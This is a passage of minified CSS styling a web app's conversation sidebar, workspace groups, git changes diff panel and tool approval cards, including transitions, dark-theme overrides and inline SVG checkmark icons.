minmax(0,1fr);padding:0;cursor:pointer;text-align:left;transition:background .14s ease,color .14s ease}.sidebar-nav-icon{width:var(--conversation-icon-cell);height:var(--conversation-row-height);border-radius:8px;display:grid;place-items:center;color:currentColor;transition:background .14s ease,color .14s ease}.conversation-sidebar.collapsed .sidebar-nav-row:hover,.conversation-sidebar.collapsed .sidebar-nav-row:focus-visible{background:transparent}.conversation-sidebar.collapsed .sidebar-nav-row:hover .sidebar-nav-icon,.conversation-sidebar.collapsed .sidebar-nav-row:focus-visible .sidebar-nav-icon{background:var(--theme-tab-active)}.conversation-sidebar:not(.collapsed) .sidebar-nav-row:hover,.conversation-sidebar:not(.collapsed) .sidebar-nav-row:focus-visible,.conversation-sidebar:not(.collapsed) .sidebar-nav-row.active{background:var(--theme-tab-active);outline:none}.conversation-sidebar:not(.collapsed) .workspace-control-btn.active{background:transparent}.conversation-sidebar:not(.collapsed) .workspace-control-btn.active:hover,.conversation-sidebar:not(.collapsed) .workspace-control-btn.active:focus-visible{background:var(--theme-tab-active)}.sidebar-nav-label,.conversation-search,.conversation-list,.conversation-type-switch,.personal-label{opacity:1;transition:opacity .22s ease;transition-delay:80ms}.conversation-sidebar.collapsed .sidebar-nav-label,.conversation-sidebar.collapsed .conversation-search,.conversation-sidebar.collapsed .conversation-list,.conversation-sidebar.collapsed .conversation-type-switch,.conversation-sidebar.collapsed .personal-label{opacity:0;transition-delay:0ms}.conversation-sidebar.collapsed .conversation-search,.conversation-sidebar.collapsed .conversation-list,.conversation-sidebar.collapsed .conversation-type-switch{pointer-events:none;visibility:hidden;transition:opacity .22s ease,visibility 0s linear .22s}.sidebar-nav-label{min-width:0;padding-left:6px;padding-right:10px;font-size:13px;line-height:1;letter-spacing:-.01em;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.chat-icon svg{width:23px;height:23px}.conversation-menu-btn .chat-icon svg{transform:translateY(2px)}.pencil-icon svg{width:18px;height:18px}.layers-icon svg{width:18px;height:18px}.workflow-icon svg{width:18px;height:18px}.monitor-mode-btn.blocked{color:var(--text-tertiary);opacity:.6}.conversation-search{flex:0 0 auto;margin-top:8px}.search-input-wrap{grid-template-columns:var(--conversation-icon-cell) minmax(0,1fr);height:var(--conversation-row-height);overflow:hidden;transition:background .14s ease}.search-input-wrap:hover,.search-input-wrap:focus-within{background:var(--theme-tab-active)}.search-inline-icon{color:var(--text-secondary)}.search-input{min-width:0;width:calc(var(--conversation-expanded-width) - var(--conversation-icon-cell) - 22px);height:var(--conversation-row-height);border:0;outline:0;padding:0 12px 0 8px;background:transparent;color:var(--text-primary);font-size:13px;letter-spacing:-.01em}.search-input::placeholder{color:var(--text-secondary)}.conversation-sidebar .conversation-list{min-height:0;flex:1 1 auto;overflow-y:auto;overflow-x:hidden;padding-top:8px;position:relative;scrollbar-width:none!important;-ms-overflow-style:none}.conversation-sidebar .conversation-list-items{position:relative}.conversation-sidebar .running-task-section{margin:0 8px 12px;padding:6px 0 8px;border-bottom:1px solid color-mix(in srgb,var(--border-default) 72%,transparent)}.conversation-sidebar .running-task-section-title{margin:0 8px 4px;font-size:12px;font-weight:700;color:var(--text-secondary);letter-spacing:.01em}.conversation-sidebar .running-task-item{position:relative;display:grid;width:100%;grid-template-columns:minmax(0,1fr);gap:3px;margin:1px 0;padding:6px 10px 6px 12px;border:0;border-radius:8px;background:transparent;color:var(--text-primary);text-align:left;cursor:pointer;transition:background .14s ease,color .14s ease}.conversation-sidebar .running-task-item:hover,.conversation-sidebar .running-task-item.active{background:var(--theme-tab-active)}.conversation-sidebar .running-task-workspace{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;font-size:11px;font-weight:600;color:var(--text-secondary)}.conversation-sidebar .running-task-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;font-size:13px;line-height:1.25;letter-spacing:-.01em;color:var(--text-primary)}.conversation-sidebar .running-task-main{display:grid;grid-template-columns:minmax(0,1fr) 18px;align-items:center;gap:8px}.conversation-sidebar .running-task-state{justify-self:center}[data-theme=dark] .conversation-sidebar .running-task-item:hover,[data-theme=dark] .conversation-sidebar .running-task-item.active,body[data-theme=dark] .conversation-sidebar .running-task-item:hover,body[data-theme=dark] .conversation-sidebar .running-task-item.active{background:var(--hover-bg)}.conversation-sidebar .conversation-item{position:relative;grid-template-columns:minmax(0,1fr) 32px;margin:1px 0;padding:0;height:var(--conversation-row-height);flex:none;cursor:pointer;background:transparent!important;border:0!important;box-shadow:none!important;transition:background .14s ease,color .14s ease}.conversation-sidebar .conversation-delete-move{transition:transform .3s cubic-bezier(.22,1,.36,1)}.conversation-sidebar .animation-mode-delete .conversation-delete-move{transition:transform .3s cubic-bezier(.22,1,.36,1) .1s}.conversation-sidebar .conversation-delete-enter-active{transition:transform .42s cubic-bezier(.22,1,.36,1),opacity .26s ease}.conversation-sidebar .animation-mode-duplicate .conversation-delete-enter-active.insert-from-under{transition-delay:.3s}.conversation-sidebar .conversation-delete-enter-active.insert-from-under{z-index:0}.conversation-sidebar .conversation-delete-enter-from.insert-from-left{transform:translate(-112%);opacity:0}.conversation-sidebar .conversation-delete-enter-from.insert-from-under{transform:translateY(-100%);opacity:0}.conversation-sidebar .conversation-item.duplicate-source-mask{z-index:2}.conversation-sidebar .conversation-item.duplicate-source-mask:after{content:"";position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;border-radius:12px;background:var(--surface-rail);pointer-events:none}.conversation-sidebar .conversation-item.duplicate-source-mask:hover:after{background:var(--theme-tab-active)}:root[data-theme=dark] .conversation-sidebar .conversation-item.duplicate-source-mask:hover:after,body[data-theme=dark] .conversation-sidebar .conversation-item.duplicate-source-mask:hover:after{background:var(--hover-bg)}.conversation-sidebar .conversation-item.duplicate-source-mask>*{position:relative;z-index:2}.conversation-sidebar .conversation-delete-leave-active{position:absolute;left:0;right:0;width:100%;z-index:1;pointer-events:none;transition:transform .42s cubic-bezier(.32,0,.67,0),opacity .26s ease}.conversation-sidebar .conversation-delete-leave-to{transform:translate(-112%);opacity:0}.conversation-sidebar .conversation-item.deleting{transform:translate(-112%);opacity:0;pointer-events:none;transition:transform .42s cubic-bezier(.32,0,.67,0),opacity .26s ease}.conversation-sidebar .conversation-item:hover,.conversation-sidebar .conversation-item:focus-within,.conversation-sidebar .conversation-item.active:hover,.conversation-sidebar .conversation-item.active:focus-within{background:var(--theme-tab-active)!important;box-shadow:none!important}.conversation-sidebar .conversation-item.active{background:var(--theme-tab-active)!important;box-shadow:none!important}:root[data-theme=dark] .conversation-sidebar .conversation-item.active,body[data-theme=dark] .conversation-sidebar .conversation-item.active{background:var(--hover-bg)!important;box-shadow:none!important}:root[data-theme=dark] .conversation-sidebar .conversation-item:hover,:root[data-theme=dark] .conversation-sidebar .conversation-item:focus-within,:root[data-theme=dark] .conversation-sidebar .conversation-item.active:hover,:root[data-theme=dark] .conversation-sidebar .conversation-item.active:focus-within,body[data-theme=dark] .conversation-sidebar .conversation-item:hover,body[data-theme=dark] .conversation-sidebar .conversation-item:focus-within,body[data-theme=dark] .conversation-sidebar .conversation-item.active:hover,body[data-theme=dark] .conversation-sidebar .conversation-item.active:focus-within{background:var(--hover-bg)!important;box-shadow:none!important}.conversation-sidebar .conversation-title{min-width:0;padding-left:12px;padding-right:4px;color:var(--text-primary);font-size:13px;line-height:1.25;letter-spacing:-.01em;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.conversation-sidebar .conversation-action-wrap{position:relative;width:32px;height:var(--conversation-row-height);display:grid;place-items:center;justify-self:start}.conversation-sidebar .conversation-running-loader{width:16px;height:16px;border:2px solid var(--text-secondary);border-bottom-color:transparent;border-radius:50%;display:inline-block;box-sizing:border-box;animation:conversation-running-rotation 1s linear infinite}.conversation-sidebar .conversation-complete-check{width:18px;height:18px;display:inline-block;background:var(--text-secondary);mask:url("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20width='24'%20height='24'%20viewBox='0%200%2024%2024'%20fill='none'%20stroke='currentColor'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20%3e%3cpath%20d='M20%206%209%2017l-5-5'%20/%3e%3c/svg%3e") center/contain no-repeat;-webkit-mask:url("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20width='24'%20height='24'%20viewBox='0%200%2024%2024'%20fill='none'%20stroke='currentColor'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20%3e%3cpath%20d='M20%206%209%2017l-5-5'%20/%3e%3c/svg%3e") center/contain no-repeat}@keyframes conversation-running-rotation{0%{transform:rotate(0)}to{transform:rotate(360deg)}}.conversation-sidebar .conversation-more-btn{width:30px;height:30px;border:0;border-radius:9px;background:transparent;color:var(--text-secondary);display:grid;place-items:center;cursor:pointer;opacity:0;transition:opacity .16s ease,color .14s ease}.conversation-sidebar .conversation-item:hover .conversation-more-btn,.conversation-sidebar .conversation-action-wrap.menu-open .conversation-more-btn{opacity:1}.conversation-sidebar .conversation-more-btn:hover,.conversation-sidebar .conversation-action-wrap.menu-open .conversation-more-btn{color:var(--text-primary)}.conversation-sidebar .conversation-more-btn span{position:relative;display:inline-block;width:22px;height:22px}.conversation-sidebar .conversation-more-btn span:before{content:"";position:absolute;left:4px;top:10px;width:3.5px;height:3.5px;border-radius:999px;background:currentColor;box-shadow:5.5px 0 0 currentColor,11px 0 0 currentColor}.conversation-actions-menu{z-index:140;width:max-content;min-width:92px;padding:6px;border:1px solid var(--border-default);border-radius:14px;background:var(--theme-surface-strong);box-shadow:none;opacity:0;transform:translateY(-4px) scale(.98);pointer-events:none;transition:opacity .12s ease,transform .15s cubic-bezier(.22,1,.36,1)}.conversation-actions-menu--absolute{position:absolute;right:0;top:calc(100% + 6px)}.conversation-actions-menu--fixed{position:fixed;z-index:2300}.conversation-actions-menu.open{opacity:1;transform:translateY(0) scale(1);pointer-events:auto}.conversation-actions-menu button{width:100%;min-width:80px;height:36px;border:0;border-radius:10px;background:transparent;color:var(--text-primary);display:grid;grid-template-columns:24px auto;align-items:center;gap:4px;padding:0 10px 0 8px;text-align:left;cursor:pointer;font-size:14px;transition:background .14s ease}.conversation-actions-menu button:hover{background:var(--theme-tab-active)}.conversation-actions-menu button.danger{color:var(--state-danger)}.conversation-personal-entry{margin-top:8px;flex:0 0 auto}.sidebar-nav-row.workspace-entry-btn{grid-template-columns:var(--conversation-icon-cell) minmax(0,1fr)}.personal-page-btn svg{width:18px;height:18px}.loading-conversations,.no-conversations,.search-done,.search-progress{color:var(--text-secondary);font-size:13px;padding:10px 12px;white-space:nowrap}.load-more{padding:10px 0}.load-more-btn{width:100%;height:34px;border:0;border-radius:10px;padding:0 12px;background:transparent;color:var(--text-secondary);cursor:pointer;text-align:left;transition:background .14s ease,color .14s ease}.load-more-btn:hover:not(:disabled){background:var(--theme-tab-active);color:var(--text-primary)}.load-more-btn:disabled{opacity:.5;cursor:not-allowed}.search-spinner{width:16px;height:16px;display:inline-flex;align-items:center;justify-content:center;position:relative}.search-spinner-orbit{position:absolute;top:0;right:0;bottom:0;left:0}.search-spinner-icon{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);animation:search-wobble .9s ease-in-out infinite}@keyframes search-wobble{0%{transform:translate(-50%,-50%) translate(-1px)}50%{transform:translate(-50%,-50%) translate(1px)}to{transform:translate(-50%,-50%) translate(-1px)}}.workspace-groups{display:flex;flex-direction:column;gap:2px;padding:0 2px}.workspace-group{display:flex;flex-direction:column}.workspace-group-header{position:relative;display:grid;grid-template-columns:minmax(0,1fr) auto;align-items:center;height:var(--conversation-row-height);border-radius:8px;transition:background .14s ease}.workspace-group-header:hover{background:var(--theme-tab-active)}:root[data-theme=dark] .workspace-group-header:hover,body[data-theme=dark] .workspace-group-header:hover{background:var(--hover-bg)}.workspace-group-toggle{display:grid;grid-template-columns:22px minmax(0,1fr) auto;align-items:center;gap:5px;height:100%;padding:0 8px;border:0;border-radius:8px;background:transparent;color:var(--text-primary);text-align:left;cursor:pointer}.workspace-folder-icon{color:var(--text-secondary)}.workspace-group-header.search-result-group-header:hover,:root[data-theme=dark] .workspace-group-header.search-result-group-header:hover,body[data-theme=dark] .workspace-group-header.search-result-group-header:hover{background:transparent}.workspace-group-toggle.search-result-group-toggle{cursor:default}.workspace-group-label{min-width:0;font-size:13px;font-weight:600;letter-spacing:-.01em;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.workspace-current-dot{width:6px;height:6px;border-radius:50%;background:var(--accent-primary)}.workspace-running-loader{width:14px;height:14px;border:2px solid var(--text-secondary);border-bottom-color:transparent;border-radius:50%;display:inline-block;box-sizing:border-box;animation:conversation-running-rotation 1s linear infinite}.workspace-group-actions{display:flex;align-items:center;gap:2px;padding-right:6px;opacity:0;transition:opacity .16s ease}.workspace-group-actions.visible{opacity:1}.workspace-new-btn,.workspace-more-btn{width:28px;height:28px;border:0;border-radius:8px;background:transparent;color:var(--text-secondary);display:grid;place-items:center;cursor:pointer;transition:background .14s ease,color .14s ease}.workspace-new-btn:hover,.workspace-more-btn:hover,.workspace-group-actions.visible .workspace-more-btn[aria-expanded=true]{background:var(--theme-surface-strong);color:var(--text-primary)}.workspace-more-btn span{position:relative;display:inline-block;width:18px;height:18px}.workspace-more-btn span:before{content:"";position:absolute;left:3px;top:8px;width:3px;height:3px;border-radius:999px;background:currentColor;box-shadow:4.5px 0 0 currentColor,9px 0 0 currentColor}.workspace-actions-menu{position:absolute;right:6px;top:calc(100% + 4px);z-index:140;width:max-content;min-width:120px;padding:6px;border:1px solid var(--border-default);border-radius:14px;background:var(--theme-surface-strong);box-shadow:none;opacity:0;transform:translateY(-4px) scale(.98);pointer-events:none;transition:opacity .12s ease,transform .15s cubic-bezier(.22,1,.36,1)}.workspace-actions-menu.open{opacity:1;transform:translateY(0) scale(1);pointer-events:auto}.workspace-actions-menu button{width:100%;min-width:80px;height:34px;border:0;border-radius:10px;background:transparent;color:var(--text-primary);display:grid;align-items:center;padding:0 10px;text-align:left;cursor:pointer;font-size:14px;transition:background .14s ease}.workspace-actions-menu button:hover{background:var(--theme-tab-active)}@media (hover: none){.conversation-sidebar .conversation-more-btn,.conversation-sidebar .workspace-group-actions{opacity:1}}.workspace-group-children{display:grid;grid-template-rows:0fr;transition:grid-template-rows .26s cubic-bezier(.22,1,.36,1)}.workspace-groups.switch-instant .workspace-group-children,.workspace-groups.switch-instant .conversation-delete-move{transition:none!important}.workspace-group-children.expanded{grid-template-rows:1fr}.workspace-group-children-inner{overflow:hidden;display:flex;flex-direction:column}.workspace-conversations-viewport{position:relative;max-height:calc((var(--conversation-row-height) + 2px) * var(--workspace-visible-count, 5));overflow:hidden}.workspace-conversations-list{position:relative;display:flex;flex-direction:column}.workspace-no-conversations,.workspace-conversations-loading{color:var(--text-secondary);font-size:13px;padding:10px 12px}.workspace-load-more{padding:4px 0 8px}.workspace-rename-overlay{position:absolute;top:0;right:0;bottom:0;left:0;z-index:200;display:grid;place-items:center;background:var(--overlay-scrim)}.workspace-rename-card{width:min(100% - 32px,320px);padding:16px;border-radius:16px;background:var(--theme-surface-strong);border:1px solid var(--border-default);display:flex;flex-direction:column;gap:12px}.workspace-rename-title{font-size:15px;font-weight:600;color:var(--text-primary)}.workspace-rename-input{width:100%;height:40px;padding:0 12px;border:1px solid var(--border-default);border-radius:10px;background:var(--surface-base);color:var(--text-primary);font-size:14px;outline:none}.workspace-rename-input:focus{border-color:var(--accent-primary)}.workspace-rename-actions{display:flex;justify-content:flex-end;gap:8px}.workspace-rename-actions button{height:34px;padding:0 14px;border:0;border-radius:10px;font-size:14px;cursor:pointer;transition:background .14s ease}.workspace-rename-cancel{background:transparent;color:var(--text-primary)}.workspace-rename-cancel:hover{background:var(--theme-tab-active)}.workspace-rename-confirm{background:var(--accent-primary);color:var(--accent-on-primary)}.workspace-rename-confirm:hover{background:var(--accent-primary-hover)}.conversation-sidebar .search-input{background:transparent!important;box-shadow:none!important;border:0!important}.conversation-sidebar .search-input:focus{background:transparent!important;box-shadow:none!important}.conversation-sidebar .conversation-list{scrollbar-width:none!important;-ms-overflow-style:none}.conversation-sidebar .conversation-list::-webkit-scrollbar{width:0!important;height:0!important;display:none!important}.conversation-sidebar .personal-page-btn,.conversation-sidebar .conversation-personal-entry:not(.collapsed) .personal-page-btn{background:transparent!important;box-shadow:none!important}.conversation-sidebar.collapsed .personal-page-btn:hover,.conversation-sidebar.collapsed .personal-page-btn:focus-visible{background:transparent!important}.conversation-sidebar.collapsed .personal-page-btn:hover .sidebar-nav-icon,.conversation-sidebar.collapsed .personal-page-btn:focus-visible .sidebar-nav-icon{background:var(--theme-tab-active)!important}.conversation-sidebar:not(.collapsed) .personal-page-btn:hover,.conversation-sidebar:not(.collapsed) .personal-page-btn:focus-visible{background:var(--theme-tab-active)!important}:root[data-theme=dark] .conversation-sidebar:not(.collapsed) .personal-page-btn:hover,:root[data-theme=dark] .conversation-sidebar:not(.collapsed) .personal-page-btn:focus-visible,body[data-theme=dark] .conversation-sidebar:not(.collapsed) .personal-page-btn:hover,body[data-theme=dark] .conversation-sidebar:not(.collapsed) .personal-page-btn:focus-visible{background:var(--hover-bg)!important}.conversation-sidebar .load-more-btn{background:transparent!important;border:0!important;box-shadow:none!important;text-align:left!important}.conversation-sidebar .load-more-btn:hover:not(:disabled){background:var(--theme-tab-active)!important}:root[data-theme=dark] .conversation-sidebar .load-more-btn:hover:not(:disabled),body[data-theme=dark] .conversation-sidebar .load-more-btn:hover:not(:disabled){background:var(--hover-bg)!important}.conversation-type-switch{flex:0 0 auto;display:flex;align-items:center;gap:2px;margin:6px 8px 0;padding:2px;height:30px;border-radius:8px;background:var(--surface-muted)}.conversation-type-option{flex:1 1 0;height:26px;border:0;border-radius:6px;background:transparent;color:var(--text-secondary);font-size:12px;line-height:1;cursor:pointer;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;transition:background .14s ease,color .14s ease}.conversation-type-option:hover:not(.active){color:var(--text-primary)}.conversation-type-option.active{background:var(--surface-soft);color:var(--text-primary);font-weight:600}:root[data-theme=dark] .conversation-type-option.active,body[data-theme=dark] .conversation-type-option.active{background:color-mix(in srgb,var(--text-primary) 16%,transparent)}.conversation-list-pane{min-height:0}.type-slide-left-enter-active,.type-slide-left-leave-active,.type-slide-right-enter-active,.type-slide-right-leave-active{transition:transform .22s ease}.type-slide-left-enter-active,.type-slide-right-enter-active{position:absolute;top:0;right:0;bottom:0;left:0;padding-top:8px;overflow:hidden}.type-slide-left-enter-from{transform:translate(100%)}.type-slide-left-leave-to,.type-slide-right-enter-from{transform:translate(-100%)}.type-slide-right-leave-to{transform:translate(100%)}.sidebar.right-sidebar{display:flex;flex-direction:column;background:var(--theme-surface-soft);transition:width .28s cubic-bezier(.4,0,.2,1),min-width .28s cubic-bezier(.4,0,.2,1),opacity .22s ease,transform .28s cubic-bezier(.4,0,.2,1)}.sidebar.right-sidebar .sidebar-header{padding:16px 20px 8px;border-bottom:none;background:transparent;position:static;display:flex;align-items:center;justify-content:space-between;gap:8px}.sidebar.right-sidebar .sidebar-header h3{font-size:15px;font-weight:600;color:var(--text-primary);margin:0}.focused-files,.approval-panel-body{flex:1 1 auto;padding:10px 20px 20px;overflow-y:auto}.focus-close-btn,.approval-close-btn{width:32px;height:32px;border:none;border-radius:16px;background:var(--hover-bg);color:var(--text-primary);font-size:20px;cursor:pointer}.git-changes-panel{flex:0 0 auto;min-width:340px;max-width:min(600px,52vw);height:var(--app-viewport);display:flex;flex-direction:column;background:var(--surface-rail);border-left:1px solid var(--border-default);color:var(--text-primary);overflow:hidden}.git-changes-panel__header{flex:0 0 auto;min-height:38px;padding:0 8px;display:flex;align-items:center;justify-content:space-between;gap:12px;border-bottom:1px solid var(--border-default)}.git-changes-panel__title{min-width:0;display:inline-flex;align-items:center;gap:8px;font-size:13px;font-weight:600}.git-changes-panel__branch,.git-changes-panel__upstream{min-width:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.git-changes-panel__upstream,.git-changes-panel__arrow{color:var(--text-secondary)}.git-changes-panel__summary,.git-change-file__stats{flex:0 0 auto;display:inline-flex;align-items:center;gap:8px;font-size:12px;font-variant-numeric:tabular-nums}.git-changes-panel__add{color:var(--git-diff-add-text)}.git-changes-panel__del{color:var(--git-diff-del-text)}.git-changes-panel__close{width:28px;height:28px;border:none;border-radius:14px;background:transparent;color:var(--text-secondary);font-size:18px;line-height:1;cursor:pointer}.git-changes-panel__close:hover{background:var(--theme-tab-active);color:var(--text-primary);box-shadow:0 1px 2px var(--shadow-color)}.git-changes-panel__body{flex:1 1 auto;min-height:0;overflow:auto;padding:12px;scrollbar-color:color-mix(in srgb,var(--text-secondary) 55%,transparent) color-mix(in srgb,var(--theme-surface-muted) 70%,transparent);scrollbar-width:thin}.git-changes-panel *{scrollbar-color:color-mix(in srgb,var(--text-secondary) 55%,transparent) color-mix(in srgb,var(--theme-surface-muted) 70%,transparent);scrollbar-width:thin}.git-changes-panel::-webkit-scrollbar,.git-changes-panel ::-webkit-scrollbar{width:10px;height:10px}.git-changes-panel::-webkit-scrollbar-track,.git-changes-panel ::-webkit-scrollbar-track{background:color-mix(in srgb,var(--theme-surface-muted) 70%,transparent);border-radius:999px;margin:8px}.git-changes-panel::-webkit-scrollbar-thumb,.git-changes-panel ::-webkit-scrollbar-thumb{background:color-mix(in srgb,var(--text-secondary) 55%,transparent);border-radius:999px;border:2px solid transparent;background-clip:padding-box}.git-changes-panel__empty{display:flex;flex-direction:column;align-items:center;justify-content:center;height:100%;gap:8px;color:var(--text-muted);font-size:13px}.git-changes-panel__empty-svg{width:36px;height:36px;color:var(--text-tertiary);opacity:.55}.git-changes-panel__empty--error{color:var(--state-danger)}.git-change-file{margin-bottom:14px}.git-change-file__header{height:34px;display:flex;align-items:center;justify-content:space-between;gap:10px;padding:0 8px;color:var(--text-primary);font-size:13px;font-weight:600}.git-change-file__title{min-width:0;display:inline-flex;align-items:center;gap:8px;position:relative}.git-change-file__open-wrap{position:relative;flex:0 0 auto}.git-change-file__open-btn{width:48px;height:26px;display:inline-grid;grid-template-columns:1fr 1fr;align-items:center;justify-items:center;padding:0;border:none;border-radius:9px;background:transparent;color:var(--text-secondary);cursor:pointer}.git-change-file__open-btn:hover,.git-change-file__open-btn.open{background:var(--theme-tab-active);color:var(--text-primary);box-shadow:0 1px 2px var(--shadow-color)}.git-change-file__open-btn:disabled{cursor:not-allowed;opacity:.42}.git-change-file__open-btn:disabled:hover{background:transparent;box-shadow:none}.git-change-file__open-icon,.git-change-file__open-option-icon{width:16px;height:16px;object-fit:contain;filter:var(--theme-icon-filter, none)}html[data-theme=dark] .git-change-file__open-icon,body[data-theme=dark] .git-change-file__open-icon{filter:invert(1) opacity(.78)}.git-change-file__open-caret{width:14px;height:14px;display:inline-flex;align-items:center;justify-content:center}.git-change-file__open-caret:before{content:"›";display:block;font-size:16px;line-height:14px;transform:rotate(90deg)}.git-change-file__open-menu{position:absolute;top:calc(100% + 6px);left:0;z-index:80;min-width:190px;max-width:min(280px,70vw);max-height:260px;overflow-y:auto;padding:6px;border:1px solid var(--border-default);border-radius:12px;background:var(--theme-surface-muted);box-shadow:none}.git-change-file__open-option{width:100%;height:34px;display:flex;align-items:center;gap:8px;padding:0 9px;border:none;border-radius:9px;background:transparent;color:var(--text-primary);font-size:13px;text-align:left;cursor:pointer}.git-change-file__open-option-icon{width:20px;height:20px;border-radius:5px;filter:none}.git-change-file__open-option:hover{background:var(--theme-tab-active);box-shadow:0 1px 2px var(--shadow-color)}.git-change-file__open-empty{padding:8px 10px;color:var(--text-secondary);font-size:12px;font-weight:400;white-space:nowrap}.git-change-file__path{min-width:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.git-change-file__reset{flex:0 0 auto;height:24px;padding:0 8px;border:none;border-radius:8px;background:transparent;color:var(--text-secondary);font-size:12px;cursor:pointer}.git-change-file__reset:hover{background:var(--theme-tab-active);color:var(--text-primary);box-shadow:0 1px 2px var(--shadow-color)}.git-change-file__diff{font-family:Monaco,Menlo,Consolas,monospace;font-size:12px;line-height:1.5;overflow-x:auto}.git-change-file__diff-inner{display:inline-grid;grid-template-columns:minmax(100%,max-content);width:max-content;min-width:100%}.git-change-file__fold{width:auto;min-width:0;height:34px;margin:4px 0;padding:0 10px;display:block;border:none;border-radius:9px;background:var(--theme-surface-muted);color:var(--text-secondary);font:inherit;font-family:inherit;cursor:pointer;text-align:left}.git-change-file__fold-content{position:sticky;left:10px;width:max-content;max-width:calc(100vw - 40px);height:100%;display:inline-flex;align-items:center;gap:8px}.git-change-file__fold:hover{background:var(--theme-tab-active);color:var(--text-primary);box-shadow:0 1px 2px var(--shadow-color)}.git-change-file__fold-icon{width:16px;min-width:16px;height:16px;display:inline-flex;align-items:center;justify-content:center;flex:0 0 16px;color:var(--text-tertiary);text-align:center;line-height:1}.git-change-file__fold-icon:before{content:"›";display:block;font-size:18px;line-height:16px;transform-origin:center}.git-change-file__fold-icon--up:before{transform:rotate(-90deg) translate(.5px)}.git-change-file__fold-icon--down:before{transform:rotate(90deg) translate(.5px)}.git-change-file__hunk-header{padding:3px 8px;color:var(--text-tertiary);white-space:pre}.git-change-line{display:grid;grid-template-columns:5ch 1ch max-content;column-gap:8px;width:auto;min-width:0;min-height:22px;padding:2px 8px;align-items:start;white-space:pre}.git-change-line__num{color:var(--text-tertiary);text-align:right;-webkit-user-select:none;user-select:none}.git-change-line__marker{color:var(--text-secondary);text-align:center;-webkit-user-select:none;user-select:none}.git-change-line__text{min-width:0}.git-change-line--add{background:var(--diff-add-bg);color:var(--state-success)}.git-change-line--delete{background:var(--diff-del-bg);color:var(--state-danger)}.right-panels{transition-property:grid-template-rows;transition-duration:.28s;transition-timing-function:cubic-bezier(.4,0,.2,1)}.right-panels-slide-enter-active,.right-panels-slide-leave-active{transition-property:width,min-width,opacity,transform;transition-duration:.22s,.22s,.18s,.22s;transition-timing-function:ease,ease,ease,ease}.right-panels-slide-enter-from,.right-panels-slide-leave-to{width:0!important;min-width:0!important;opacity:0;transform:translate(18px)}.right-panels-slide-leave-to{grid-template-rows:0fr 0px 0fr!important}.right-panels{display:grid;min-width:340px;max-width:min(600px,52vw);height:var(--app-viewport);overflow:hidden}.right-panels__slot{overflow:hidden;min-height:0}.right-panels__slot:last-child{grid-row:3}.right-panels .git-changes-panel,.right-panels .terminal-panel{width:auto!important;min-width:0;max-width:none;height:100%!important}.right-panels__split-handle{cursor:row-resize}.resize-handle--right-panels{width:4px;flex-shrink:0;cursor:col-resize;position:relative;background:transparent;transition:background .2s}.resize-handle--right-panels:before{content:"";position:absolute;top:0;bottom:0;left:-3px;right:-3px}.resize-handle--right-panels:hover,.resize-handle--right-panels:active{background:color-mix(in srgb,var(--accent) 24%,transparent)}.right-panels--resizing{transition:none!important}.right-panels .git-changes-panel{border-top:1px solid var(--border-default)}.no-files{text-align:center;color:var(--text-secondary);padding:60px 20px;font-size:14px}.file-tabs{display:flex;flex-direction:column;gap:12px}.file-tab{border:1px solid var(--border-default);border-radius:12px;overflow:hidden;background:var(--surface-soft);box-shadow:0 12px 28px var(--shadow-color)}.tab-header{background:var(--theme-chip-bg);padding:10px 16px;display:flex;justify-content:space-between;align-items:center;font-size:14px;border-bottom:1px solid var(--border-default)}.file-name{font-weight:500;color:var(--text-primary)}.file-size{color:var(--text-secondary);font-size:12px}.file-content{max-height:320px;overflow-y:auto;background:var(--surface-raised)}.file-content pre{margin:0;padding:16px}.file-content code{font-family:SF Mono,Monaco,Consolas,monospace;font-size:13px;line-height:1.5;color:var(--text-primary)}.tool-approval-panel .approval-panel-body{padding-top:14px}.approval-list{display:flex;flex-direction:column;gap:10px}.approval-card{border:1px solid var(--border-default);border-radius:12px;background:var(--theme-surface-soft);box-shadow:var(--theme-shadow-soft);padding:10px;display:flex;flex-direction:column;gap:8px}.approval-card__title{font-size:13px;font-weight:700;color:var(--text-primary)}.approval-card__summary{font-size:12px;color:var(--text-secondary)}.approval-path{font-size:12px;color:var(--text-secondary);word-break:break-all}.approval-lines{margin:0;padding:8px;border-radius:8px;font-size:11px;line-height:1.45;overflow:auto;max-height:200px;white-space:pre-wrap;word-break:break-word;background:var(--theme-surface-muted);color:var(--text-primary);scrollbar-width:none;-ms-overflow-style:none}.approval-lines::-webkit-scrollbar{width:0;height:0}.approval-diff{margin-top:12px;color:var(--text-primary);font-family:Monaco,Menlo,Consolas,monospace;font-size:12px;line-height:1.5;max-height:400px;overflow-y:auto;border:1px solid var(--border-default);border-radius:6px;padding:8px;background:color-mix(in srgb,transparent 99%,var(--text-primary));scrollbar-width:none;-ms-overflow-style:none}.approval-diff::-webkit-scrollbar{width:0;height:0}.approval-kv{display:flex;flex-direction:column;gap:4px;font-size:12px;color:var(--text-secondary);background:var(--theme-surface-muted);border:1px solid var(--theme-control-border);border-radius:8px;padding:8px}.approval-kv strong{white-space:nowrap;color:var(--text-primary)}.approval-value{white-space:normal;overflow-wrap:anywhere;word-break:break-word;color:var(--text-primary)}.approval-note{padding:6px 8px;font-size:11px;color:var(--text-secondary)}.approval-lines--old{background:color-mix(in srgb,var(--state-warning) 18%,transparent);border:1px solid color-mix(in srgb,var(--state-warning) 50%,transparent);color:var(--text-primary)}.approval-lines--new{background:color-mix(in srgb,var(--state-success) 18%,transparent);border:1px solid color-mix(in srgb,var(--state-success) 50%,transparent);color:var(--text-primary)}.approval-lines--cmd,.approval-lines--generic{background:var(--theme-surface-muted);color:var(--text-primary)}.tool-approval-panel .diff-line{padding:2px 4px;margin:1px 0;white-space:pre-wrap;word-wrap:break-word}.tool-approval-panel .diff-remove{background:var(--diff-del-bg);color:var(--state-danger)}.tool-approval-panel 